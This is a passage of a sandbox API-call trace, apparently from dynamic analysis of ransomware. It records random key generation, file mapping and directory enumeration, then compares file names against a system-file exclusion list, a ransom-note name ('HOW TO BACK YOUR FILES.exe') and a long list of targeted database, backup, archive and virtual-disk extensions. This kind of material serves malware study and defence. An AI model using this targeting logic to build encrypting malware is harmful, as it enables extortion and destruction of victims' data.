	[0067.938] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0067.938] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0067.940] CreateFileMappingW (hFile=0x118, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x165560, lpName=0x0) returned 0x100
	[0067.943] MapViewOfFile (hFileMappingObject=0x100, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x165560) returned 0x35a0000
	[0068.283] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf700) returned 1
	[0068.283] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0068.283] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0068.283] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab00
	[0068.284] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab00 | out: hHeap=0x580000) returned 1
	[0068.284] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0068.284] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0068.284] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0068.284] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0068.284] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2b10
	[0068.284] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0068.284] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2b10 | out: hHeap=0x580000) returned 1
	[0068.284] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0068.284] UnmapViewOfFile (lpBaseAddress=0x35a0000) returned 1
	[0068.446] CloseHandle (hObject=0x100) returned 1
	[0068.447] CloseHandle (hObject=0x118) returned 1
	[0068.447] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab78 | out: hHeap=0x580000) returned 1
	[0068.448] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf898 | out: hHeap=0x580000) returned 1
	[0068.448] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3390020 | out: hHeap=0x580000) returned 1
	[0068.456] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2f57a430, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2f57a430, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0068.457] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0068.459] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfd7a0c00, ftCreationTime.dwHighDateTime=0x1d28824, ftLastAccessTime.dwLowDateTime=0xfd7a0c00, ftLastAccessTime.dwHighDateTime=0x1d28824, ftLastWriteTime.dwLowDateTime=0xfd7a0c00, ftLastWriteTime.dwHighDateTime=0x1d28824, nFileSizeHigh=0x0, nFileSizeLow=0x24000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="vc_runtimeMinimum_x64.msi", cAlternateFileName="VC_RUN~1.MSI")) returned 1
	[0068.459] lstrcmpiW (lpString1="vc_runtimeMinimum_x64.msi", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0068.459] lstrcmpiW (lpString1="vc_runtimeMinimum_x64.msi", lpString2="Apollon865.txt.exe") returned 1
	[0068.460] lstrcmpiW (lpString1="vc_runtimeMinimum_x64.msi", lpString2=".") returned 1
	[0068.461] lstrcmpiW (lpString1="vc_runtimeMinimum_x64.msi", lpString2="..") returned 1
	[0068.463] lstrcmpiW (lpString1="vc_runtimeMinimum_x64.msi", lpString2="windows") returned -1
	[0068.463] lstrcmpiW (lpString1="vc_runtimeMinimum_x64.msi", lpString2="bootmgr") returned 1
	[0068.464] lstrcmpiW (lpString1="vc_runtimeMinimum_x64.msi", lpString2="temp") returned 1
	[0068.464] lstrcmpiW (lpString1="vc_runtimeMinimum_x64.msi", lpString2="pagefile.sys") returned 1
	[0068.465] lstrcmpiW (lpString1="vc_runtimeMinimum_x64.msi", lpString2="boot") returned 1
	[0068.465] lstrcmpiW (lpString1="vc_runtimeMinimum_x64.msi", lpString2="ids.txt") returned 1
	[0068.466] lstrcmpiW (lpString1="vc_runtimeMinimum_x64.msi", lpString2="ntuser.dat") returned 1
	[0068.467] lstrcmpiW (lpString1="vc_runtimeMinimum_x64.msi", lpString2="perflogs") returned 1
	[0068.467] lstrcmpiW (lpString1="vc_runtimeMinimum_x64.msi", lpString2="MSBuild") returned 1
	[0068.468] lstrlenW (lpString="vc_runtimeMinimum_x64.msi") returned 25
	[0068.468] lstrlenW (lpString="C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\vcRuntimeMinimum_amd64\\cab1.cab") returned 124
	[0068.469] lstrcpyW (in: lpString1=0x119e6f0, lpString2="vc_runtimeMinimum_x64.msi" | out: lpString1="vc_runtimeMinimum_x64.msi") returned="vc_runtimeMinimum_x64.msi"
	[0068.470] lstrlenW (lpString="vc_runtimeMinimum_x64.msi") returned 25
	[0068.471] lstrlenW (lpString="Apollon865") returned 10
	[0068.471] lstrcmpiW (lpString1="um_x64.msi", lpString2="Apollon865") returned 1
	[0068.472] lstrlenW (lpString=".dll") returned 4
	[0068.474] lstrcmpiW (lpString1="vc_runtimeMinimum_x64.msi", lpString2=".dll") returned 1
	[0068.474] lstrlenW (lpString=".lnk") returned 4
	[0068.499] lstrcmpiW (lpString1="vc_runtimeMinimum_x64.msi", lpString2=".lnk") returned 1
	[0068.499] lstrlenW (lpString=".ini") returned 4
	[0068.500] lstrcmpiW (lpString1="vc_runtimeMinimum_x64.msi", lpString2=".ini") returned 1
	[0068.500] lstrlenW (lpString=".sys") returned 4
	[0068.500] lstrcmpiW (lpString1="vc_runtimeMinimum_x64.msi", lpString2=".sys") returned 1
	[0068.500] lstrlenW (lpString="vc_runtimeMinimum_x64.msi") returned 25
	[0068.500] lstrlenW (lpString="bak") returned 3
	[0068.500] lstrcmpiW (lpString1="msi", lpString2="bak") returned 1
	[0068.500] lstrlenW (lpString="ba_") returned 3
	[0068.500] lstrcmpiW (lpString1="msi", lpString2="ba_") returned 1
	[0068.500] lstrlenW (lpString="dbb") returned 3
	[0068.500] lstrcmpiW (lpString1="msi", lpString2="dbb") returned 1
	[0068.500] lstrlenW (lpString="vmdk") returned 4
	[0068.500] lstrcmpiW (lpString1=".msi", lpString2="vmdk") returned -1
	[0068.500] lstrlenW (lpString="rar") returned 3
	[0068.500] lstrcmpiW (lpString1="msi", lpString2="rar") returned -1
	[0068.500] lstrlenW (lpString="zip") returned 3
	[0068.501] lstrcmpiW (lpString1="msi", lpString2="zip") returned -1
	[0068.501] lstrlenW (lpString="tgz") returned 3
	[0068.511] lstrcmpiW (lpString1="msi", lpString2="tgz") returned -1
	[0068.512] lstrlenW (lpString="vbox") returned 4
	[0068.512] lstrcmpiW (lpString1=".msi", lpString2="vbox") returned -1
	[0068.512] lstrlenW (lpString="vdi") returned 3
	[0068.512] lstrcmpiW (lpString1="msi", lpString2="vdi") returned -1
	[0068.512] lstrlenW (lpString="vhd") returned 3
	[0068.512] lstrcmpiW (lpString1="msi", lpString2="vhd") returned -1
	[0068.512] lstrlenW (lpString="vhdx") returned 4
	[0068.512] lstrcmpiW (lpString1=".msi", lpString2="vhdx") returned -1
	[0068.512] lstrlenW (lpString="avhd") returned 4
	[0068.512] lstrcmpiW (lpString1=".msi", lpString2="avhd") returned -1
	[0068.512] lstrlenW (lpString="db") returned 2
	[0068.512] lstrcmpiW (lpString1="si", lpString2="db") returned 1
	[0068.520] lstrlenW (lpString="db2") returned 3
	[0068.520] lstrcmpiW (lpString1="msi", lpString2="db2") returned 1
	[0068.520] lstrlenW (lpString="db3") returned 3
	[0068.521] lstrcmpiW (lpString1="msi", lpString2="db3") returned 1
	[0068.521] lstrlenW (lpString="dbf") returned 3
	[0068.521] lstrcmpiW (lpString1="msi", lpString2="dbf") returned 1
	[0068.522] lstrlenW (lpString="mdf") returned 3
	[0068.522] lstrcmpiW (lpString1="msi", lpString2="mdf") returned 1
	[0068.522] lstrlenW (lpString="mdb") returned 3
	[0068.522] lstrcmpiW (lpString1="msi", lpString2="mdb") returned 1
	[0068.522] lstrlenW (lpString="sql") returned 3
	[0068.523] lstrcmpiW (lpString1="msi", lpString2="sql") returned -1
	[0068.523] lstrlenW (lpString="sqlite") returned 6
	[0068.523] lstrcmpiW (lpString1="64.msi", lpString2="sqlite") returned -1
	[0068.524] lstrlenW (lpString="sqlite3") returned 7
	[0068.524] lstrcmpiW (lpString1="x64.msi", lpString2="sqlite3") returned 1
	[0068.525] lstrlenW (lpString="sqlitedb") returned 8
	[0068.525] lstrcmpiW (lpString1="_x64.msi", lpString2="sqlitedb") returned -1
	[0068.525] lstrlenW (lpString="xml") returned 3
	[0068.526] lstrcmpiW (lpString1="msi", lpString2="xml") returned -1
	[0068.527] lstrlenW (lpString="$er") returned 3
	[0068.527] lstrcmpiW (lpString1="msi", lpString2="$er") returned 1
	[0068.528] lstrlenW (lpString="4dd") returned 3
	[0068.529] lstrcmpiW (lpString1="msi", lpString2="4dd") returned 1
	[0068.530] lstrlenW (lpString="4dl") returned 3
	[0068.530] lstrcmpiW (lpString1="msi", lpString2="4dl") returned 1
	[0068.530] lstrlenW (lpString="^^^") returned 3
	[0068.531] lstrcmpiW (lpString1="msi", lpString2="^^^") returned 1
	[0068.531] lstrlenW (lpString="abs") returned 3
	[0068.532] lstrcmpiW (lpString1="msi", lpString2="abs") returned 1
	[0068.535] lstrlenW (lpString="abx") returned 3
	[0068.536] lstrcmpiW (lpString1="msi", lpString2="abx") returned 1
	[0068.536] lstrlenW (lpString="accdb") returned 5
	[0068.537] lstrcmpiW (lpString1="4.msi", lpString2="accdb") returned -1
	[0068.537] lstrlenW (lpString="accdc") returned 5
	[0068.538] lstrcmpiW (lpString1="4.msi", lpString2="accdc") returned -1
	[0068.539] lstrlenW (lpString="accde") returned 5
	[0068.540] lstrcmpiW (lpString1="4.msi", lpString2="accde") returned -1
	[0068.541] lstrlenW (lpString="accdr") returned 5
	[0068.541] lstrcmpiW (lpString1="4.msi", lpString2="accdr") returned -1
	[0068.541] lstrlenW (lpString="accdt") returned 5
	[0068.542] lstrcmpiW (lpString1="4.msi", lpString2="accdt") returned -1
	[0068.543] lstrlenW (lpString="accdw") returned 5
	[0068.543] lstrcmpiW (lpString1="4.msi", lpString2="accdw") returned -1
	[0068.544] lstrlenW (lpString="accft") returned 5
	[0068.544] lstrcmpiW (lpString1="4.msi", lpString2="accft") returned -1
	[0068.544] lstrlenW (lpString="adb") returned 3
	[0068.546] lstrcmpiW (lpString1="msi", lpString2="adb") returned 1
	[0068.546] lstrlenW (lpString="adb") returned 3
	[0068.546] lstrcmpiW (lpString1="msi", lpString2="adb") returned 1
	[0068.549] lstrlenW (lpString="ade") returned 3
	[0068.549] lstrcmpiW (lpString1="msi", lpString2="ade") returned 1
	[0068.550] lstrlenW (lpString="adf") returned 3
	[0068.550] lstrcmpiW (lpString1="msi", lpString2="adf") returned 1
	[0068.551] lstrlenW (lpString="adn") returned 3
	[0068.551] lstrcmpiW (lpString1="msi", lpString2="adn") returned 1
	[0068.551] lstrlenW (lpString="adp") returned 3
	[0068.563] lstrcmpiW (lpString1="msi", lpString2="adp") returned 1
	[0068.563] lstrlenW (lpString="alf") returned 3
	[0068.563] lstrcmpiW (lpString1="msi", lpString2="alf") returned 1
	[0068.563] lstrlenW (lpString="ask") returned 3
	[0068.563] lstrcmpiW (lpString1="msi", lpString2="ask") returned 1
	[0068.563] lstrlenW (lpString="btr") returned 3
	[0068.563] lstrcmpiW (lpString1="msi", lpString2="btr") returned 1
	[0068.563] lstrlenW (lpString="cat") returned 3
	[0068.563] lstrcmpiW (lpString1="msi", lpString2="cat") returned 1
	[0068.563] lstrlenW (lpString="cdb") returned 3
	[0068.563] lstrcmpiW (lpString1="msi", lpString2="cdb") returned 1
	[0068.563] lstrlenW (lpString="ckp") returned 3
	[0068.563] lstrcmpiW (lpString1="msi", lpString2="ckp") returned 1
	[0068.563] lstrlenW (lpString="cma") returned 3
	[0068.563] lstrcmpiW (lpString1="msi", lpString2="cma") returned 1
	[0068.563] lstrlenW (lpString="cpd") returned 3
	[0068.563] lstrcmpiW (lpString1="msi", lpString2="cpd") returned 1
	[0068.563] lstrlenW (lpString="dacpac") returned 6
	[0068.563] lstrcmpiW (lpString1="64.msi", lpString2="dacpac") returned -1
	[0068.563] lstrlenW (lpString="dad") returned 3
	[0068.563] lstrcmpiW (lpString1="msi", lpString2="dad") returned 1
	[0068.563] lstrlenW (lpString="dadiagrams") returned 10
	[0068.563] lstrcmpiW (lpString1="um_x64.msi", lpString2="dadiagrams") returned 1
	[0068.563] lstrlenW (lpString="daschema") returned 8
	[0068.563] lstrcmpiW (lpString1="_x64.msi", lpString2="daschema") returned -1
	[0068.563] lstrlenW (lpString="db-journal") returned 10
	[0068.563] lstrcmpiW (lpString1="um_x64.msi", lpString2="db-journal") returned 1
	[0068.564] lstrlenW (lpString="db-shm") returned 6
	[0068.564] lstrcmpiW (lpString1="64.msi", lpString2="db-shm") returned -1
	[0068.564] lstrlenW (lpString="db-wal") returned 6
	[0068.564] lstrcmpiW (lpString1="64.msi", lpString2="db-wal") returned -1
	[0068.564] lstrlenW (lpString="dbc") returned 3
	[0068.564] lstrcmpiW (lpString1="msi", lpString2="dbc") returned 1
	[0068.564] lstrlenW (lpString="dbs") returned 3
	[0068.564] lstrcmpiW (lpString1="msi", lpString2="dbs") returned 1
	[0068.564] lstrlenW (lpString="dbt") returned 3
	[0068.564] lstrcmpiW (lpString1="msi", lpString2="dbt") returned 1
	[0068.564] lstrlenW (lpString="dbv") returned 3
	[0068.564] lstrcmpiW (lpString1="msi", lpString2="dbv") returned 1
	[0068.564] lstrlenW (lpString="dbx") returned 3
	[0068.564] lstrcmpiW (lpString1="msi", lpString2="dbx") returned 1
	[0068.564] lstrlenW (lpString="dcb") returned 3
	[0068.564] lstrcmpiW (lpString1="msi", lpString2="dcb") returned 1
	[0068.564] lstrlenW (lpString="dct") returned 3
	[0068.564] lstrcmpiW (lpString1="msi", lpString2="dct") returned 1
	[0068.564] lstrlenW (lpString="dcx") returned 3
	[0068.564] lstrcmpiW (lpString1="msi", lpString2="dcx") returned 1
	[0068.564] lstrlenW (lpString="ddl") returned 3
	[0068.564] lstrcmpiW (lpString1="msi", lpString2="ddl") returned 1
	[0068.564] lstrlenW (lpString="dlis") returned 4
	[0068.564] lstrcmpiW (lpString1=".msi", lpString2="dlis") returned -1
	[0068.564] lstrlenW (lpString="dp1") returned 3
	[0068.564] lstrcmpiW (lpString1="msi", lpString2="dp1") returned 1
	[0068.564] lstrlenW (lpString="dqy") returned 3
	[0068.564] lstrcmpiW (lpString1="msi", lpString2="dqy") returned 1
	[0068.564] lstrlenW (lpString="dsk") returned 3
	[0068.564] lstrcmpiW (lpString1="msi", lpString2="dsk") returned 1
	[0068.564] lstrlenW (lpString="dsn") returned 3
	[0068.565] lstrcmpiW (lpString1="msi", lpString2="dsn") returned 1
	[0068.565] lstrlenW (lpString="dtsx") returned 4
	[0068.565] lstrcmpiW (lpString1=".msi", lpString2="dtsx") returned -1
	[0068.565] lstrlenW (lpString="dxl") returned 3
	[0068.565] lstrcmpiW (lpString1="msi", lpString2="dxl") returned 1
	[0068.565] lstrlenW (lpString="eco") returned 3
	[0068.565] lstrcmpiW (lpString1="msi", lpString2="eco") returned 1
	[0068.565] lstrlenW (lpString="ecx") returned 3
	[0068.565] lstrcmpiW (lpString1="msi", lpString2="ecx") returned 1
	[0068.565] lstrlenW (lpString="edb") returned 3
	[0068.565] lstrcmpiW (lpString1="msi", lpString2="edb") returned 1
	[0068.565] lstrlenW (lpString="epim") returned 4
	[0068.565] lstrcmpiW (lpString1=".msi", lpString2="epim") returned -1
	[0068.565] lstrlenW (lpString="fcd") returned 3
	[0068.565] lstrcmpiW (lpString1="msi", lpString2="fcd") returned 1
	[0068.565] lstrlenW (lpString="fdb") returned 3
	[0068.565] lstrcmpiW (lpString1="msi", lpString2="fdb") returned 1
	[0068.565] lstrlenW (lpString="fic") returned 3
	[0068.565] lstrcmpiW (lpString1="msi", lpString2="fic") returned 1
	[0068.565] lstrlenW (lpString="flexolibrary") returned 12
	[0068.565] lstrcmpiW (lpString1="imum_x64.msi", lpString2="flexolibrary") returned 1
	[0068.565] lstrlenW (lpString="fm5") returned 3
	[0068.565] lstrcmpiW (lpString1="msi", lpString2="fm5") returned 1
	[0068.565] lstrlenW (lpString="fmp") returned 3
	[0068.565] lstrcmpiW (lpString1="msi", lpString2="fmp") returned 1
	[0068.565] lstrlenW (lpString="fmp12") returned 5
	[0068.565] lstrcmpiW (lpString1="4.msi", lpString2="fmp12") returned -1
	[0068.565] lstrlenW (lpString="fmpsl") returned 5
	[0068.565] lstrcmpiW (lpString1="4.msi", lpString2="fmpsl") returned -1
	[0068.565] lstrlenW (lpString="fol") returned 3
	[0068.566] lstrcmpiW (lpString1="msi", lpString2="fol") returned 1
	[0068.566] lstrlenW (lpString="fp3") returned 3
	[0068.566] lstrcmpiW (lpString1="msi", lpString2="fp3") returned 1
	[0068.566] lstrlenW (lpString="fp4") returned 3
	[0068.566] lstrcmpiW (lpString1="msi", lpString2="fp4") returned 1
	[0068.566] lstrlenW (lpString="fp5") returned 3
	[0068.566] lstrcmpiW (lpString1="msi", lpString2="fp5") returned 1
	[0068.566] lstrlenW (lpString="fp7") returned 3
	[0068.566] lstrcmpiW (lpString1="msi", lpString2="fp7") returned 1
	[0068.566] lstrlenW (lpString="fpt") returned 3
	[0068.566] lstrcmpiW (lpString1="msi", lpString2="fpt") returned 1
	[0068.566] lstrlenW (lpString="frm") returned 3
	[0068.566] lstrcmpiW (lpString1="msi", lpString2="frm") returned 1
	[0068.566] lstrlenW (lpString="gdb") returned 3
	[0068.566] lstrcmpiW (lpString1="msi", lpString2="gdb") returned 1
	[0068.566] lstrlenW (lpString="gdb") returned 3
	[0068.566] lstrcmpiW (lpString1="msi", lpString2="gdb") returned 1
	[0068.566] lstrlenW (lpString="grdb") returned 4
	[0068.566] lstrcmpiW (lpString1=".msi", lpString2="grdb") returned -1
	[0068.566] lstrlenW (lpString="gwi") returned 3
	[0068.566] lstrcmpiW (lpString1="msi", lpString2="gwi") returned 1
	[0068.566] lstrlenW (lpString="hdb") returned 3
	[0068.566] lstrcmpiW (lpString1="msi", lpString2="hdb") returned 1
	[0068.566] lstrlenW (lpString="his") returned 3
	[0068.566] lstrcmpiW (lpString1="msi", lpString2="his") returned 1
	[0068.566] lstrlenW (lpString="ib") returned 2
	[0068.566] lstrcmpiW (lpString1="si", lpString2="ib") returned 1
	[0068.566] lstrlenW (lpString="idb") returned 3
	[0068.566] lstrcmpiW (lpString1="msi", lpString2="idb") returned 1
	[0068.566] lstrlenW (lpString="ihx") returned 3
	[0068.566] lstrcmpiW (lpString1="msi", lpString2="ihx") returned 1
	[0068.566] lstrlenW (lpString="itdb") returned 4
	[0068.566] lstrcmpiW (lpString1=".msi", lpString2="itdb") returned -1
	[0068.566] lstrlenW (lpString="itw") returned 3
	[0068.566] lstrcmpiW (lpString1="msi", lpString2="itw") returned 1
	[0068.567] lstrlenW (lpString="jet") returned 3
	[0068.567] lstrcmpiW (lpString1="msi", lpString2="jet") returned 1
	[0068.567] lstrlenW (lpString="jtx") returned 3
	[0068.567] lstrcmpiW (lpString1="msi", lpString2="jtx") returned 1
	[0068.567] lstrlenW (lpString="kdb") returned 3
	[0068.567] lstrcmpiW (lpString1="msi", lpString2="kdb") returned 1
	[0068.567] lstrlenW (lpString="kexi") returned 4
	[0068.567] lstrcmpiW (lpString1=".msi", lpString2="kexi") returned -1
	[0068.567] lstrlenW (lpString="kexic") returned 5
	[0068.567] lstrcmpiW (lpString1="4.msi", lpString2="kexic") returned -1
	[0068.567] lstrlenW (lpString="kexis") returned 5
	[0068.567] lstrcmpiW (lpString1="4.msi", lpString2="kexis") returned -1
	[0068.567] lstrlenW (lpString="lgc") returned 3
	[0068.567] lstrcmpiW (lpString1="msi", lpString2="lgc") returned 1
	[0068.567] lstrlenW (lpString="lwx") returned 3
	[0068.567] lstrcmpiW (lpString1="msi", lpString2="lwx") returned 1
	[0068.567] lstrlenW (lpString="maf") returned 3
	[0068.567] lstrcmpiW (lpString1="msi", lpString2="maf") returned 1
	[0068.567] lstrlenW (lpString="maq") returned 3
	[0068.567] lstrcmpiW (lpString1="msi", lpString2="maq") returned 1
	[0068.567] lstrlenW (lpString="mar") returned 3
	[0068.567] lstrcmpiW (lpString1="msi", lpString2="mar") returned 1
	[0068.567] lstrlenW (lpString="marshal") returned 7
	[0068.567] lstrcmpiW (lpString1="x64.msi", lpString2="marshal") returned 1
	[0068.567] lstrlenW (lpString="mas") returned 3
	[0068.567] lstrcmpiW (lpString1="msi", lpString2="mas") returned 1
	[0068.567] lstrlenW (lpString="mav") returned 3
	[0068.567] lstrcmpiW (lpString1="msi", lpString2="mav") returned 1
	[0068.567] lstrlenW (lpString="maw") returned 3
	[0068.567] lstrcmpiW (lpString1="msi", lpString2="maw") returned 1
	[0068.567] lstrlenW (lpString="mdbhtml") returned 7
	[0068.567] lstrcmpiW (lpString1="x64.msi", lpString2="mdbhtml") returned 1
	[0068.567] lstrlenW (lpString="mdn") returned 3
	[0068.567] lstrcmpiW (lpString1="msi", lpString2="mdn") returned 1
	[0068.567] lstrlenW (lpString="mdt") returned 3
	[0068.568] lstrcmpiW (lpString1="msi", lpString2="mdt") returned 1
	[0068.568] lstrlenW (lpString="mfd") returned 3
	[0068.568] lstrcmpiW (lpString1="msi", lpString2="mfd") returned 1
	[0068.568] lstrlenW (lpString="mpd") returned 3
	[0068.568] lstrcmpiW (lpString1="msi", lpString2="mpd") returned 1
	[0068.568] lstrlenW (lpString="mrg") returned 3
	[0068.568] lstrcmpiW (lpString1="msi", lpString2="mrg") returned 1
	[0068.568] lstrlenW (lpString="mud") returned 3
	[0068.568] lstrcmpiW (lpString1="msi", lpString2="mud") returned -1
	[0068.568] lstrlenW (lpString="mwb") returned 3
	[0068.568] lstrcmpiW (lpString1="msi", lpString2="mwb") returned -1
	[0068.568] lstrlenW (lpString="myd") returned 3
	[0068.568] lstrcmpiW (lpString1="msi", lpString2="myd") returned -1
	[0068.568] lstrlenW (lpString="ndf") returned 3
	[0068.568] lstrcmpiW (lpString1="msi", lpString2="ndf") returned -1
	[0068.568] lstrlenW (lpString="nnt") returned 3
	[0068.568] lstrcmpiW (lpString1="msi", lpString2="nnt") returned -1
	[0068.568] lstrlenW (lpString="nrmlib") returned 6
	[0068.568] lstrcmpiW (lpString1="64.msi", lpString2="nrmlib") returned -1
	[0068.568] lstrlenW (lpString="ns2") returned 3
	[0068.568] lstrcmpiW (lpString1="msi", lpString2="ns2") returned -1
	[0068.568] lstrlenW (lpString="ns3") returned 3
	[0068.568] lstrcmpiW (lpString1="msi", lpString2="ns3") returned -1
	[0068.568] lstrlenW (lpString="ns4") returned 3
	[0068.568] lstrcmpiW (lpString1="msi", lpString2="ns4") returned -1
	[0068.568] lstrlenW (lpString="nsf") returned 3
	[0068.568] lstrcmpiW (lpString1="msi", lpString2="nsf") returned -1
	[0068.568] lstrlenW (lpString="nv") returned 2
	[0068.568] lstrcmpiW (lpString1="si", lpString2="nv") returned 1
	[0068.568] lstrlenW (lpString="nv2") returned 3
	[0068.568] lstrcmpiW (lpString1="msi", lpString2="nv2") returned -1
	[0068.568] lstrlenW (lpString="nwdb") returned 4
	[0068.568] lstrcmpiW (lpString1=".msi", lpString2="nwdb") returned -1
	[0068.568] lstrlenW (lpString="nyf") returned 3
	[0068.568] lstrcmpiW (lpString1="msi", lpString2="nyf") returned -1
	[0068.569] lstrlenW (lpString="odb") returned 3
	[0068.569] lstrcmpiW (lpString1="msi", lpString2="odb") returned -1
	[0068.569] lstrlenW (lpString="odb") returned 3
	[0068.569] lstrcmpiW (lpString1="msi", lpString2="odb") returned -1
	[0068.569] lstrlenW (lpString="oqy") returned 3
	[0068.569] lstrcmpiW (lpString1="msi", lpString2="oqy") returned -1
	[0068.569] lstrlenW (lpString="ora") returned 3
	[0068.569] lstrcmpiW (lpString1="msi", lpString2="ora") returned -1
	[0068.569] lstrlenW (lpString="orx") returned 3
	[0068.569] lstrcmpiW (lpString1="msi", lpString2="orx") returned -1
	[0068.569] lstrlenW (lpString="owc") returned 3
	[0068.569] lstrcmpiW (lpString1="msi", lpString2="owc") returned -1
	[0068.569] lstrlenW (lpString="p96") returned 3
	[0068.569] lstrcmpiW (lpString1="msi", lpString2="p96") returned -1
	[0068.569] lstrlenW (lpString="p97") returned 3
	[0068.569] lstrcmpiW (lpString1="msi", lpString2="p97") returned -1
	[0068.569] lstrlenW (lpString="pan") returned 3
	[0068.569] lstrcmpiW (lpString1="msi", lpString2="pan") returned -1
	[0068.569] lstrlenW (lpString="pdb") returned 3
	[0068.569] lstrcmpiW (lpString1="msi", lpString2="pdb") returned -1
	[0068.569] lstrlenW (lpString="pdm") returned 3
	[0068.569] lstrcmpiW (lpString1="msi", lpString2="pdm") returned -1
	[0068.569] lstrlenW (lpString="pnz") returned 3
	[0068.569] lstrcmpiW (lpString1="msi", lpString2="pnz") returned -1
	[0068.569] lstrlenW (lpString="qry") returned 3
	[0068.569] lstrcmpiW (lpString1="msi", lpString2="qry") returned -1
	[0068.569] lstrlenW (lpString="qvd") returned 3
	[0068.569] lstrcmpiW (lpString1="msi", lpString2="qvd") returned -1
	[0068.569] lstrlenW (lpString="rbf") returned 3
	[0068.569] lstrcmpiW (lpString1="msi", lpString2="rbf") returned -1
	[0068.569] lstrlenW (lpString="rctd") returned 4
	[0068.569] lstrcmpiW (lpString1=".msi", lpString2="rctd") returned -1
	[0068.569] lstrlenW (lpString="rod") returned 3
	[0068.569] lstrcmpiW (lpString1="msi", lpString2="rod") returned -1
	[0068.569] lstrlenW (lpString="rodx") returned 4
	[0068.570] lstrcmpiW (lpString1=".msi", lpString2="rodx") returned -1
	[0068.570] lstrlenW (lpString="rpd") returned 3
	[0068.570] lstrcmpiW (lpString1="msi", lpString2="rpd") returned -1
	[0068.570] lstrlenW (lpString="rsd") returned 3
	[0068.570] lstrcmpiW (lpString1="msi", lpString2="rsd") returned -1
	[0068.570] lstrlenW (lpString="sas7bdat") returned 8
	[0068.570] lstrcmpiW (lpString1="_x64.msi", lpString2="sas7bdat") returned -1
	[0068.570] lstrlenW (lpString="sbf") returned 3
	[0068.570] lstrcmpiW (lpString1="msi", lpString2="sbf") returned -1
	[0068.570] lstrlenW (lpString="scx") returned 3
	[0068.570] lstrcmpiW (lpString1="msi", lpString2="scx") returned -1
	[0068.570] lstrlenW (lpString="sdb") returned 3
	[0068.570] lstrcmpiW (lpString1="msi", lpString2="sdb") returned -1
	[0068.570] lstrlenW (lpString="sdc") returned 3
	[0068.570] lstrcmpiW (lpString1="msi", lpString2="sdc") returned -1
	[0068.570] lstrlenW (lpString="sdf") returned 3
	[0068.570] lstrcmpiW (lpString1="msi", lpString2="sdf") returned -1
	[0068.570] lstrlenW (lpString="sis") returned 3
	[0068.570] lstrcmpiW (lpString1="msi", lpString2="sis") returned -1
	[0068.570] lstrlenW (lpString="spq") returned 3
	[0068.570] lstrcmpiW (lpString1="msi", lpString2="spq") returned -1
	[0068.570] lstrlenW (lpString="te") returned 2
	[0068.570] lstrcmpiW (lpString1="si", lpString2="te") returned -1
	[0068.570] lstrlenW (lpString="teacher") returned 7
	[0068.570] lstrcmpiW (lpString1="x64.msi", lpString2="teacher") returned 1
	[0068.570] lstrlenW (lpString="tmd") returned 3
	[0068.570] lstrcmpiW (lpString1="msi", lpString2="tmd") returned -1
	[0068.570] lstrlenW (lpString="tps") returned 3
	[0068.570] lstrcmpiW (lpString1="msi", lpString2="tps") returned -1
	[0068.570] lstrlenW (lpString="trc") returned 3
	[0068.570] lstrcmpiW (lpString1="msi", lpString2="trc") returned -1
	[0068.570] lstrlenW (lpString="trc") returned 3
	[0068.570] lstrcmpiW (lpString1="msi", lpString2="trc") returned -1
	[0068.570] lstrlenW (lpString="trm") returned 3
	[0068.570] lstrcmpiW (lpString1="msi", lpString2="trm") returned -1
	[0068.571] lstrlenW (lpString="udb") returned 3
	[0068.571] lstrcmpiW (lpString1="msi", lpString2="udb") returned -1
	[0068.571] lstrlenW (lpString="udl") returned 3
